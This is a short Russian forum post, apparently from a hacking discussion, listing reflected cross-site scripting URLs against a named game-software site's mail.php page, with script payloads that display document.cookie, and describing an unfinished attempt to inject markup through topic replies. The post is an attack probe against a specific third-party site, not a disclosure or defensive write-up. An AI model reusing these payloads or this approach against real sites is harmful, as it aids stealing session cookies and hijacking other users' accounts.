Пассивные пашут:
_http://mirsofta-game.ru/mail.php?view=write&to=12345><script>alert(documen t.cookie)</script>
_http://mirsofta-game.ru/mail.php?view=write&to=15848&re=><script>alert(doc ument.cookie)</script>
но привязка к сессии.

Вот на чем пока остановился:
Если в теме в конце воткнуть >, то при ответе все что после > попадает на страницу. От этого и надо плясать. У меня пока ничего не получилось.